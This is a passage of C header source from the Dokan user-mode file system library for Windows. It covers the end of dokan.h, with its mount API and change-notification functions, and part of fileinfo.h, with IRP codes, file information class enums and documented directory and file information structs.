codes */ /** @{ */ /** Dokan mount succeed. */ #define DOKAN_SUCCESS 0 /** Dokan mount error. */ #define DOKAN_ERROR -1 /** Dokan mount failed - Bad drive letter. */ #define DOKAN_DRIVE_LETTER_ERROR -2 /** Dokan mount failed - Can't install driver. */ #define DOKAN_DRIVER_INSTALL_ERROR -3 /** Dokan mount failed - Driver answer that something is wrong. */ #define DOKAN_START_ERROR -4 /** * Dokan mount failed. * Can't assign a drive letter or mount point. * Probably already used by another volume. */ #define DOKAN_MOUNT_ERROR -5 /** * Dokan mount failed. * Mount point is invalid. */ #define DOKAN_MOUNT_POINT_ERROR -6 /** * Dokan mount failed. * Requested an incompatible version. */ #define DOKAN_VERSION_ERROR -7 /** @} */ /** * \defgroup Dokan Dokan */ /** @{ */ /** * \brief Initialize all required Dokan internal resources. * * This needs to be called only once before trying to use \ref DokanMain or \ref DokanCreateFileSystem for the first time. * Otherwise both will fail and raise an exception. */ VOID DOKANAPI DokanInit(); /** * \brief Release all allocated resources by \ref DokanInit when they are no longer needed. * * This should be called when the application no longer expects to create a new FileSystem with * \ref DokanMain or \ref DokanCreateFileSystem and after all devices are unmount. */ VOID DOKANAPI DokanShutdown(); /** * \brief Mount a new Dokan Volume. * * This function block until the device is unmounted. * If the mount fails, it will directly return a \ref DokanMainResult error. * * See \ref DokanCreateFileSystem to create mount Dokan Volume asynchronously. * * \param DokanOptions a \ref DOKAN_OPTIONS that describe the mount. * \param DokanOperations Instance of \ref DOKAN_OPERATIONS that will be called for each request made by the kernel. * \return \ref DokanMainResult status. */ int DOKANAPI DokanMain(PDOKAN_OPTIONS DokanOptions, PDOKAN_OPERATIONS DokanOperations); /** * \brief Mount a new Dokan Volume. * * It is mandatory to have called \ref DokanInit previously to use this API. * * This function returns directly on device mount or on failure. * See \ref DokanMainResult for possible errors. * * \ref DokanWaitForFileSystemClosed can be used to wait until the device is unmount. * * \param DokanOptions a \ref DOKAN_OPTIONS that describe the mount. * \param DokanOperations Instance of \ref DOKAN_OPERATIONS that will be called for each request made by the kernel. * \param DokanInstance Dokan mount instance context that can be used for related instance calls like \ref DokanIsFileSystemRunning . * \return \ref DokanMainResult status. */ int DOKANAPI DokanCreateFileSystem(_In_ PDOKAN_OPTIONS DokanOptions, _In_ PDOKAN_OPERATIONS DokanOperations, _Out_ DOKAN_HANDLE *DokanInstance); /** * \brief Check if the FileSystem is still running or not. * * \param DokanInstance The dokan mount context created by \ref DokanCreateFileSystem . * \return Whether the FileSystem is still running or not. */ BOOL DOKANAPI DokanIsFileSystemRunning(_In_ DOKAN_HANDLE DokanInstance); /** * \brief Wait until the FileSystem is unmount. * * \param DokanInstance The dokan mount context created by \ref DokanCreateFileSystem . * \return See WaitForSingleObject for a description of return values. */ DWORD DOKANAPI DokanWaitForFileSystemClosed(_In_ DOKAN_HANDLE DokanInstance, _In_ DWORD dwMilliseconds); /** * \brief Unmount the Dokan instance. * * Unmount and wait until all resources of the \c DokanInstance are released. * * \param DokanInstance The dokan mount context created by \ref DokanCreateFileSystem . */ VOID DOKANAPI DokanCloseHandle(_In_ DOKAN_HANDLE DokanInstance); /** * \brief Unmount a Dokan device from a driver letter. * * \param DriveLetter Dokan driver letter to unmount. * \return \c TRUE if device was unmounted or \c FALSE in case of failure or device not found. */ BOOL DOKANAPI DokanUnmount(WCHAR DriveLetter); /** * \brief Unmount a Dokan device from a mount point * * \param MountPoint Mount point to unmount ("Z", "Z:", "Z:\", "Z:\MyMountPoint"). * \return \c TRUE if device was unmounted or \c FALSE in case of failure or device not found. */ BOOL DOKANAPI DokanRemoveMountPoint(LPCWSTR MountPoint); /** * \brief Checks whether Name matches Expression * * Behave like \c FsRtlIsNameInExpression routine from Microsoft\n * \c * (asterisk) Matches zero or more characters.\n * ? (question mark) Matches a single character.\n * \c DOS_DOT (\c " quotation mark) Matches either a period or zero characters beyond the name string.\n * \c DOS_QM (\c > greater than) Matches any single character or, upon encountering a period or end * of name string, advances the expression to the end of the set of * contiguous DOS_QMs.\n * \c DOS_STAR (\c < less than) Matches zero or more characters until encountering and matching * the final \c . in the name. * * \param Expression Expression can contain any of the above characters. * \param Name Name to check * \param IgnoreCase Case sensitive or not * \return result if name matches the expression */ BOOL DOKANAPI DokanIsNameInExpression(LPCWSTR Expression, LPCWSTR Name, BOOL IgnoreCase); /** * \brief Get the version of Dokan. * The returned ULONG is the version number without the dots. * \return The version of Dokan */ ULONG DOKANAPI DokanVersion(); /** * \brief Get the version of the Dokan driver. * The returned ULONG is the version number without the dots. * \return The version of Dokan driver. */ ULONG DOKANAPI DokanDriverVersion(); /** * \brief Extends the timeout of the current IO operation in driver. * * \param Timeout Extended time in milliseconds requested. * \param DokanFileInfo \ref DOKAN_FILE_INFO of the operation to extend. * \return If the operation was successful. */ BOOL DOKANAPI DokanResetTimeout(ULONG Timeout, PDOKAN_FILE_INFO DokanFileInfo); /** * \brief Get the handle to Access Token. * * This method needs be called in \ref DOKAN_OPERATIONS.ZwCreateFile callback. * The caller must call CloseHandle * for the returned handle. * * \param DokanFileInfo \ref DOKAN_FILE_INFO of the operation to extend. * \return A handle to the account token for the user on whose behalf the code is running. */ HANDLE DOKANAPI DokanOpenRequestorToken(PDOKAN_FILE_INFO DokanFileInfo); /** * \brief Get active Dokan mount points. * * Returned array need to be released by calling \ref DokanReleaseMountPointList * * \param uncOnly Get only instances that have UNC Name. * \param nbRead Number of instances successfully retrieved. * \return Allocate array of DOKAN_MOUNT_POINT_INFO. */ PDOKAN_MOUNT_POINT_INFO DOKANAPI DokanGetMountPointList(BOOL uncOnly, PULONG nbRead); /** * \brief Release Mount point list resources from \ref DokanGetMountPointList. * * After \ref DokanGetMountPointList call you will receive a dynamically allocated array of DOKAN_MOUNT_POINT_INFO. * This array needs to be released when no longer needed by calling this function. * * \param list Allocated array of DOKAN_MOUNT_POINT_INFO from \ref DokanGetMountPointList. * \return Nothing. */ VOID DOKANAPI DokanReleaseMountPointList(PDOKAN_MOUNT_POINT_INFO list); /** * \brief Convert \ref DOKAN_OPERATIONS.ZwCreateFile parameters to CreateFile parameters. * * Dokan Kernel forward the DesiredAccess directly from the IRP_MJ_CREATE. * This DesiredAccess has been converted from generic rights (user CreateFile request) to standard rights and will be converted back here. * https://msdn.microsoft.com/windows/hardware/drivers/ifs/access-mask * * \param DesiredAccess DesiredAccess from \ref DOKAN_OPERATIONS.ZwCreateFile. * \param FileAttributes FileAttributes from \ref DOKAN_OPERATIONS.ZwCreateFile. * \param CreateOptions CreateOptions from \ref DOKAN_OPERATIONS.ZwCreateFile. * \param CreateDisposition CreateDisposition from \ref DOKAN_OPERATIONS.ZwCreateFile. * \param outDesiredAccess New CreateFile dwDesiredAccess. * \param outFileAttributesAndFlags New CreateFile dwFlagsAndAttributes. * \param outCreationDisposition New CreateFile dwCreationDisposition. * \see CreateFile function (MSDN) */ VOID DOKANAPI DokanMapKernelToUserCreateFileFlags( ACCESS_MASK DesiredAccess, ULONG FileAttributes, ULONG CreateOptions, ULONG CreateDisposition, ACCESS_MASK *outDesiredAccess, DWORD *outFileAttributesAndFlags, DWORD *outCreationDisposition); /** * \defgroup DokanNotify Dokan Notify * \brief Dokan User FS file-change notification * * The application implementing the user file system can notify * the Dokan kernel driver of external file- and directory-changes. * * For example, the mirror application can notify the driver about * changes made in the mirrored directory so that those changes will * be automatically reflected in the implemented mirror file system. * * This requires the FilePath passed to the respective DokanNotify*-functions * to include the absolute path of the changed file including the drive-letter * and the path to the mount point, e.g. "C:\Dokan\ChangedFile.txt". * * These functions SHOULD NOT be called from within the implemented * file system and thus be independent of any Dokan file system operation. * @{ */ /** * \brief Notify dokan that a file or a directory has been created. * * \param DokanInstance The dokan mount context created by \ref DokanCreateFileSystem . * \param FilePath Absolute path to the file or directory, including the mount-point of the file system. * \param IsDirectory Indicates if the path is a directory. * \return \c TRUE if notification succeeded. */ BOOL DOKANAPI DokanNotifyCreate(_In_ DOKAN_HANDLE DokanInstance, _In_ LPCWSTR FilePath, _In_ BOOL IsDirectory); /** * \brief Notify dokan that a file or a directory has been deleted. * * \param DokanInstance The dokan mount context created by \ref DokanCreateFileSystem . * \param FilePath Absolute path to the file or directory, including the mount-point of the file system. * \param IsDirectory Indicates if the path was a directory. * \return \c TRUE if notification succeeded. */ BOOL DOKANAPI DokanNotifyDelete(_In_ DOKAN_HANDLE DokanInstance, _In_ LPCWSTR FilePath, _In_ BOOL IsDirectory); /** * \brief Notify dokan that file or directory attributes have changed. * * \param DokanInstance The dokan mount context created by \ref DokanCreateFileSystem . * \param FilePath Absolute path to the file or directory, including the mount-point of the file system. * \return \c TRUE if notification succeeded. */ BOOL DOKANAPI DokanNotifyUpdate(_In_ DOKAN_HANDLE DokanInstance, _In_ LPCWSTR FilePath); /** * \brief Notify dokan that file or directory extended attributes have changed. * * \param DokanInstance The dokan mount context created by \ref DokanCreateFileSystem . * \param FilePath Absolute path to the file or directory, including the mount-point of the file system. * \return \c TRUE if notification succeeded. */ BOOL DOKANAPI DokanNotifyXAttrUpdate(_In_ DOKAN_HANDLE DokanInstance, _In_ LPCWSTR FilePath); /** * \brief Notify dokan that a file or a directory has been renamed. This method * supports in-place rename for file/directory within the same parent. * * \param DokanInstance The dokan mount context created by \ref DokanCreateFileSystem . * \param OldPath Old, absolute path to the file or directory, including the mount-point of the file system. * \param NewPath New, absolute path to the file or directory, including the mount-point of the file system. * \param IsDirectory Indicates if the path is a directory. * \param IsInSameDirectory Indicates if the file or directory have the same parent directory. * \return \c TRUE if notification succeeded. */ BOOL DOKANAPI DokanNotifyRename(_In_ DOKAN_HANDLE DokanInstance, _In_ LPCWSTR OldPath, _In_ LPCWSTR NewPath, _In_ BOOL IsDirectory, _In_ BOOL IsInSameDirectory); /**@}*/ /** * \brief Convert WIN32 error to NTSTATUS * * https://support.microsoft.com/en-us/kb/113996 * * \param Error Win32 Error to convert * \return NTSTATUS associate to the ERROR. */ NTSTATUS DOKANAPI DokanNtStatusFromWin32(DWORD Error); /** @} */ #ifdef __cplusplus } #endif #endif // DOKAN_H_ ``` `includes/fileinfo.h`: ```h /* Dokan : user-mode file system library for Windows Copyright (C) 2015 - 2019 Adrien J. and Maxime C. Copyright (C) 2007 - 2011 Hiroki Asakawa http://dokan-dev.github.io This program is free software; you can redistribute it and/or modify it under the terms of the GNU Lesser General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU Lesser General Public License along with this program. If not, see . */ #ifndef FILEINFO_H_ #define FILEINFO_H_ #define IRP_MJ_CREATE 0x00 #define IRP_MJ_CREATE_NAMED_PIPE 0x01 #define IRP_MJ_CLOSE 0x02 #define IRP_MJ_READ 0x03 #define IRP_MJ_WRITE 0x04 #define IRP_MJ_QUERY_INFORMATION 0x05 #define IRP_MJ_SET_INFORMATION 0x06 #define IRP_MJ_QUERY_EA 0x07 #define IRP_MJ_SET_EA 0x08 #define IRP_MJ_FLUSH_BUFFERS 0x09 #define IRP_MJ_QUERY_VOLUME_INFORMATION 0x0a #define IRP_MJ_SET_VOLUME_INFORMATION 0x0b #define IRP_MJ_DIRECTORY_CONTROL 0x0c #define IRP_MJ_FILE_SYSTEM_CONTROL 0x0d #define IRP_MJ_DEVICE_CONTROL 0x0e #define IRP_MJ_INTERNAL_DEVICE_CONTROL 0x0f #define IRP_MJ_SHUTDOWN 0x10 #define IRP_MJ_LOCK_CONTROL 0x11 #define IRP_MJ_CLEANUP 0x12 #define IRP_MJ_CREATE_MAILSLOT 0x13 #define IRP_MJ_QUERY_SECURITY 0x14 #define IRP_MJ_SET_SECURITY 0x15 #define IRP_MJ_POWER 0x16 #define IRP_MJ_SYSTEM_CONTROL 0x17 #define IRP_MJ_DEVICE_CHANGE 0x18 #define IRP_MJ_QUERY_QUOTA 0x19 #define IRP_MJ_SET_QUOTA 0x1a #define IRP_MJ_PNP 0x1b #define IRP_MJ_PNP_POWER IRP_MJ_PNP #define IRP_MJ_MAXIMUM_FUNCTION 0x1b #define IRP_MN_LOCK 0x01 #define IRP_MN_UNLOCK_SINGLE 0x02 #define IRP_MN_UNLOCK_ALL 0x03 #define IRP_MN_UNLOCK_ALL_BY_KEY 0x04 typedef enum _FILE_INFORMATION_CLASS { FileDirectoryInformation = 1, FileFullDirectoryInformation, // 2 FileBothDirectoryInformation, // 3 FileBasicInformation, // 4 FileStandardInformation, // 5 FileInternalInformation, // 6 FileEaInformation, // 7 FileAccessInformation, // 8 FileNameInformation, // 9 FileRenameInformation, // 10 FileLinkInformation, // 11 FileNamesInformation, // 12 FileDispositionInformation, // 13 FilePositionInformation, // 14 FileFullEaInformation, // 15 FileModeInformation, // 16 FileAlignmentInformation, // 17 FileAllInformation, // 18 FileAllocationInformation, // 19 FileEndOfFileInformation, // 20 FileAlternateNameInformation, // 21 FileStreamInformation, // 22 FilePipeInformation, // 23 FilePipeLocalInformation, // 24 FilePipeRemoteInformation, // 25 FileMailslotQueryInformation, // 26 FileMailslotSetInformation, // 27 FileCompressionInformation, // 28 FileObjectIdInformation, // 29 FileCompletionInformation, // 30 FileMoveClusterInformation, // 31 FileQuotaInformation, // 32 FileReparsePointInformation, // 33 FileNetworkOpenInformation, // 34 FileAttributeTagInformation, // 35 FileTrackingInformation, // 36 FileIdBothDirectoryInformation, // 37 FileIdFullDirectoryInformation, // 38 FileValidDataLengthInformation, // 39 FileShortNameInformation, // 40 FileIoCompletionNotificationInformation, // 41 FileIoStatusBlockRangeInformation, // 42 FileIoPriorityHintInformation, // 43 FileSfioReserveInformation, // 44 FileSfioVolumeInformation, // 45 FileHardLinkInformation, // 46 FileProcessIdsUsingFileInformation, // 47 FileNormalizedNameInformation, // 48 FileNetworkPhysicalNameInformation, // 49 FileIdGlobalTxDirectoryInformation, // 50 FileIsRemoteDeviceInformation, // 51 FileUnusedInformation, // 52 FileNumaNodeInformation, // 53 FileStandardLinkInformation, // 54 FileRemoteProtocolInformation, // 55 // // These are special versions of these operations (defined earlier) // which can be used by kernel mode drivers only to bypass security // access checks for Rename and HardLink operations. These operations // are only recognized by the IOManager, a file system should never // receive these. // FileRenameInformationBypassAccessCheck, // 56 FileLinkInformationBypassAccessCheck, // 57 // // End of special information classes reserved for IOManager. // FileVolumeNameInformation, // 58 FileIdInformation, // 59 FileIdExtdDirectoryInformation, // 60 FileReplaceCompletionInformation, // 61 FileHardLinkFullIdInformation, // 62 FileIdExtdBothDirectoryInformation, // 63 FileDispositionInformationEx, // 64 FileRenameInformationEx, // 65 FileRenameInformationExBypassAccessCheck, // 66 FileDesiredStorageClassInformation, // 67 FileStatInformation, // 68 FileMemoryPartitionInformation, // 69 FileMaximumInformation } FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; typedef enum _FSINFOCLASS { FileFsVolumeInformation = 1, FileFsLabelInformation, // 2 FileFsSizeInformation, // 3 FileFsDeviceInformation, // 4 FileFsAttributeInformation, // 5 FileFsControlInformation, // 6 FileFsFullSizeInformation, // 7 FileFsObjectIdInformation, // 8 FileFsDriverPathInformation, // 9 FileFsVolumeFlagsInformation, // 10 FileFsMaximumInformation } FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; /** * \struct FILE_ALIGNMENT_INFORMATION * \brief Used as an argument to the ZwQueryInformationFile routine. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAllInformation */ typedef struct _FILE_ALIGNMENT_INFORMATION { /** * The buffer alignment required by the underlying device. For a list of system-defined values, see DEVICE_OBJECT. * The value must be one of the FILE_XXX_ALIGNMENT values defined in Wdm.h. * For more information, see DEVICE_OBJECT and Initializing a Device Object. */ ULONG AlignmentRequirement; } FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; /** * \struct FILE_NAME_INFORMATION * \brief Used as argument to the ZwQueryInformationFile and ZwSetInformationFile routines. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileNameInformation */ typedef struct _FILE_NAME_INFORMATION { /** * Specifies the length, in bytes, of the file name string. */ ULONG FileNameLength; /** * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. */ WCHAR FileName[1]; } FILE_NAME_INFORMATION, *PFILE_NAME_INFORMATION; /** * \struct FILE_ATTRIBUTE_TAG_INFORMATION * \brief Used as an argument to ZwQueryInformationFile. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileAttributeTagInformation */ typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { /** * Specifies one or more FILE_ATTRIBUTE_XXX flags. * For descriptions of these flags, see the documentation of the GetFileAttributes function in the Microsoft Windows SDK. */ ULONG FileAttributes; /** * Specifies the reparse point tag. If the FileAttributes member includes the FILE_ATTRIBUTE_REPARSE_POINT attribute flag, * this member specifies the reparse tag. Otherwise, this member is unused. */ ULONG ReparseTag; } FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; /** * \struct FILE_DISPOSITION_INFORMATION * \brief Used as an argument to the ZwSetInformationFile routine. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileDispositionInformation */ typedef struct _FILE_DISPOSITION_INFORMATION { /** * Indicates whether the operating system file should delete the file when the file is closed. * Set this member to TRUE to delete the file when it is closed. * Otherwise, set to FALSE. Setting this member to FALSE has no effect if the handle was opened with FILE_FLAG_DELETE_ON_CLOSE. */ BOOLEAN DeleteFile; } FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; #define FILE_DISPOSITION_DO_NOT_DELETE 0x00000000 // Specifies the system should not delete a file. #define FILE_DISPOSITION_DELETE 0x00000001 // Specifies the system should delete a file. #define FILE_DISPOSITION_POSIX_SEMANTICS 0x00000002 // Specifies the system should perform a POSIX - style delete. #define FILE_DISPOSITION_FORCE_IMAGE_SECTION_CHECK 0x00000004 // Specifies the system should force an image section check. #define FILE_DISPOSITION_ON_CLOSE 0x00000008 // Specifies if the system sets or clears the on - close state. /** * \struct FILE_DISPOSITION_INFORMATION_EX * \brief Used as an argument to the ZwSetInformationFile routine. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileDispositionInformationEx */ typedef struct _FILE_DISPOSITION_INFORMATION_EX { /** * Specifies what action(s) the system should take with a specific file while deleting. * * \li \c FILE_DISPOSITION_DO_NOT_DELETE Specifies the system should not delete a file. * \li \c FILE_DISPOSITION_DELETE Specifies the system should delete a file. * \li \c FILE_DISPOSITION_POSIX_SEMANTICS Specifies the system should perform a POSIX-style delete. * \li \c FILE_DISPOSITION_FORCE_IMAGE_SECTION_CHECK Specifies the system should force an image section check. * \li \c FILE_DISPOSITION_ON_CLOSE Specifies if the system sets or clears the on-close state. */ ULONG Flags; } FILE_DISPOSITION_INFORMATION_EX, *PFILE_DISPOSITION_INFORMATION_EX; /** * \struct FILE_END_OF_FILE_INFORMATION * \brief Used as an argument to the ZwSetInformationFile routine. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileEndOfFileInformation */ typedef struct _FILE_END_OF_FILE_INFORMATION { /** * The absolute new end of file position as a byte offset from the start of the file. */ LARGE_INTEGER EndOfFile; } FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; /** * \struct FILE_VALID_DATA_LENGTH_INFORMATION * \brief Used as an argument to ZwSetInformationFile. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileValidDataLengthInformation */ typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { /** * Specifies the new valid data length for the file. * This parameter must be a positive value that is greater than the current valid data length, but less than or equal to the current file size. */ LARGE_INTEGER ValidDataLength; } FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; /** * \struct FILE_BASIC_INFORMATION * \brief Used as an argument to routines that query or set file information. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileBasicInformation and FileAllInformation */ typedef struct _FILE_BASIC_INFORMATION { /** * Specifies the time that the file was created. */ LARGE_INTEGER CreationTime; /** * Specifies the time that the file was last accessed. */ LARGE_INTEGER LastAccessTime; /** * Specifies the time that the file was last written to. */ LARGE_INTEGER LastWriteTime; /** * Specifies the last time the file was changed. */ LARGE_INTEGER ChangeTime; /** * Specifies one or more FILE_ATTRIBUTE_XXX flags. For descriptions of these flags, * see the documentation for the GetFileAttributes function in the Microsoft Windows SDK. */ ULONG FileAttributes; } FILE_BASIC_INFORMATION, *PFILE_BASIC_INFORMATION; /** * \struct FILE_STANDARD_INFORMATION * \brief Used as an argument to routines that query or set file information. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FileStandardInformation and FileAllInformation */ typedef struct _FILE_STANDARD_INFORMATION { /** * The file allocation size in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. */ LARGE_INTEGER AllocationSize; /** * The end of file location as a byte offset. */ LARGE_INTEGER EndOfFile; /** * The number of hard links to the file. */ ULONG NumberOfLinks; /** * The delete pending status. TRUE indicates that a file deletion has been requested. */ BOOLEAN DeletePending; /** * The file directory status. TRUE indicates the file object represents a directory. */ BOOLEAN Directory; } FILE_STANDARD_INFORMATION, *PFILE_STANDARD_INFORMATION; /** * \struct FILE_POSITION_INFORMATION * \brief Used as an argument to routines that query or set file information. * * The struct is requested during IRP_MJ_QUERY_INFORMATION with query FilePositionInformation and FileAllInformation */ typedef struct _FILE_POSITION_INFORMATION { /** * The byte offset of the current file pointer. */ LARGE_INTEGER CurrentByteOffset; } FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; /** * \struct FILE_DIRECTORY_INFORMATION * \brief Used to query detailed information for the files in a directory. */ typedef struct _FILE_DIRECTORY_INFORMATION { /** * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer. * This member is zero if no other entries follow this one. */ ULONG NextEntryOffset; /** * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. */ ULONG FileIndex; /** * Time when the file was created. */ LARGE_INTEGER CreationTime; /** * Last time the file was accessed. */ LARGE_INTEGER LastAccessTime; /** * Last time information was written to the file. */ LARGE_INTEGER LastWriteTime; /** * Last time the file was changed. */ LARGE_INTEGER ChangeTime; /** * Absolute new end-of-file position as a byte offset from the start of the file. * EndOfFile specifies the byte offset to the end of the file. * Because this value is zero-based, it actually refers to the first free byte in the file. In other words, * EndOfFile is the offset to the byte immediately following the last valid byte in the file. */ LARGE_INTEGER EndOfFile; /** * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. */ LARGE_INTEGER AllocationSize; /** * File attributes, which can be any valid combination of the following: * * \li \c FILE_ATTRIBUTE_READONLY * \li \c FILE_ATTRIBUTE_HIDDEN * \li \c FILE_ATTRIBUTE_SYSTEM * \li \c FILE_ATTRIBUTE_DIRECTORY * \li \c FILE_ATTRIBUTE_ARCHIVE * \li \c FILE_ATTRIBUTE_NORMAL * \li \c FILE_ATTRIBUTE_TEMPORARY * \li \c FILE_ATTRIBUTE_COMPRESSED */ ULONG FileAttributes; /** * Specifies the length of the file name string. */ ULONG FileNameLength; /** * Specifies the first character of the file name string. * This is followed in memory by the remainder of the string. */ WCHAR FileName[1]; } FILE_DIRECTORY_INFORMATION, *PFILE_DIRECTORY_INFORMATION; /** * \struct FILE_FULL_DIR_INFORMATION * \brief Used to query detailed information for the files in a directory. */ typedef struct _FILE_FULL_DIR_INFORMATION { /** * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer. * This member is zero if no other entries follow this one. */ ULONG NextEntryOffset; /** * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. */ ULONG FileIndex; /** * Time when the file was created. */ LARGE_INTEGER CreationTime; /** * Last time the file was accessed. */ LARGE_INTEGER LastAccessTime; /** * Last time information was written to the file. */ LARGE_INTEGER LastWriteTime; /** * Last time the file was changed. */ LARGE_INTEGER ChangeTime; /** * Absolute new end-of-file position as a byte offset from the start of the file. * EndOfFile specifies the byte offset to the end of the file. * Because this value is zero-based, it actually refers to the first free byte in the file. In other words, * EndOfFile is the offset to the byte immediately following the last valid byte in the file. */ LARGE_INTEGER EndOfFile; /** * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. */ LARGE_INTEGER AllocationSize; /** * File attributes, which can be any valid combination of the following: * * \li \c FILE_ATTRIBUTE_READONLY * \li \c FILE_ATTRIBUTE_HIDDEN * \li \c FILE_ATTRIBUTE_SYSTEM * \li \c FILE_ATTRIBUTE_DIRECTORY * \li \c FILE_ATTRIBUTE_ARCHIVE * \li \c FILE_ATTRIBUTE_NORMAL * \li \c FILE_ATTRIBUTE_TEMPORARY * \li \c FILE_ATTRIBUTE_COMPRESSED */ ULONG FileAttributes; /** * Specifies the length of the file name string. */ ULONG FileNameLength; /** * Combined length, in bytes, of the extended attributes (EA) for the file. */ ULONG EaSize; /** * Specifies the first character of the file name string. * This is followed in memory by the remainder of the string. */ WCHAR FileName[1]; } FILE_FULL_DIR_INFORMATION, *PFILE_FULL_DIR_INFORMATION; /** * \struct FILE_ID_FULL_DIR_INFORMATION * \brief Used to query detailed information for the files in a directory. */ typedef struct _FILE_ID_FULL_DIR_INFORMATION { /** * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer. * This member is zero if no other entries follow this one. */ ULONG NextEntryOffset; /** * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. */ ULONG FileIndex; /** * Time when the file was created. */ LARGE_INTEGER CreationTime; /** * Last time the file was accessed. */ LARGE_INTEGER LastAccessTime; /** * Last time information was written to the file. */ LARGE_INTEGER LastWriteTime; /** * Last time the file was changed. */ LARGE_INTEGER ChangeTime; /** * Absolute new end-of-file position as a byte offset from the start of the file. * EndOfFile specifies the byte offset to the end of the file. * Because this value is zero-based, it actually refers to the first free byte in the file. In other words, * EndOfFile is the offset to the byte immediately following the last valid byte in the file. */ LARGE_INTEGER EndOfFile; /** * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. */ LARGE_INTEGER AllocationSize; /** * File attributes, which can be any valid combination of the following: * * \li \c FILE_ATTRIBUTE_READONLY * \li \c FILE_ATTRIBUTE_HIDDEN * \li \c FILE_ATTRIBUTE_SYSTEM * \li \c FILE_ATTRIBUTE_DIRECTORY * \li \c FILE_ATTRIBUTE_ARCHIVE * \li \c FILE_ATTRIBUTE_NORMAL * \li \c FILE_ATTRIBUTE_TEMPORARY * \li \c FILE_ATTRIBUTE_COMPRESSED */ ULONG FileAttributes; /** * Specifies the length of the file name string. */ ULONG FileNameLength; /** * Combined length, in bytes, of the extended attributes (EA) for the file. */ ULONG EaSize; /** * The 8-byte file reference number for the file. (Note that this is not the same as the 16-byte * "file object ID" that was added to NTFS for Microsoft Windows 2000.) */ LARGE_INTEGER FileId; /** * Specifies the first character of the file name string. * This is followed in memory by the remainder of the string. */ WCHAR FileName[1]; } FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; /** * \struct FILE_BOTH_DIR_INFORMATION * \brief Used to query detailed information for the files in a directory. */ typedef struct _FILE_BOTH_DIR_INFORMATION { /** * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer. * This member is zero if no other entries follow this one. */ ULONG NextEntryOffset; /** * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, * in which the position of a file within the parent directory is not fixed and can be changed at any time to maintain sort order. */ ULONG FileIndex; /** * Time when the file was created. */ LARGE_INTEGER CreationTime; /** * Last time the file was accessed. */ LARGE_INTEGER LastAccessTime; /** * Last time information was written to the file. */ LARGE_INTEGER LastWriteTime; /** * Last time the file was changed. */ LARGE_INTEGER ChangeTime; /** * Absolute new end-of-file position as a byte offset from the start of the file. * EndOfFile specifies the byte offset to the end of the file. * Because this value is zero-based, it actually refers to the first free byte in the file. In other words, * EndOfFile is the offset to the byte immediately following the last valid byte in the file. */ LARGE_INTEGER EndOfFile; /** * File allocation size, in bytes. Usually, this value is a multiple of the sector or cluster size of the underlying physical device. */ LARGE_INTEGER AllocationSize; /** * File attributes, which can be any valid combination of the following: * * \li \c FILE_ATTRIBUTE_READONLY * \li \c FILE_ATTRIBUTE_HIDDEN * \li \c FILE_ATTRIBUTE_SYSTEM * \li \c FILE_ATTRIBUTE_DIRECTORY * \li \c FILE_ATTRIBUTE_ARCHIVE * \li \c FILE_ATTRIBUTE_NORMAL * \li \c FILE_ATTRIBUTE_TEMPORARY * \li \c FILE_ATTRIBUTE_COMPRESSED */ ULONG FileAttributes; /** * Specifies the length of the file name string. */ ULONG FileNameLength; /** * Combined length, in bytes, of the extended attributes (EA) for the file. */ ULONG EaSize; /** * Specifies the length, in bytes, of the short file name string. */ CCHAR ShortNameLength; /** * Unicode string containing the short (8.3) name for the file. */ WCHAR ShortName[12]; /** * Specifies the first character of the file name string. This is followed in memory by the remainder of the string. */ WCHAR FileName[1]; } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; /** * \struct FILE_ID_BOTH_DIR_INFORMATION * \brief Used to query detailed information for the files in a directory. */ typedef struct _FILE_ID_BOTH_DIR_INFORMATION { /** * Byte offset of the next FILE_DIRECTORY_INFORMATION entry, if multiple entries are present in a buffer. * This member is zero if no other entries follow this one. */ ULONG NextEntryOffset; /** * Byte offset of the file within the parent directory. This member is undefined for file systems, such as NTFS, * in which the position of a file within the parent directory is not fixed and can be changed at any 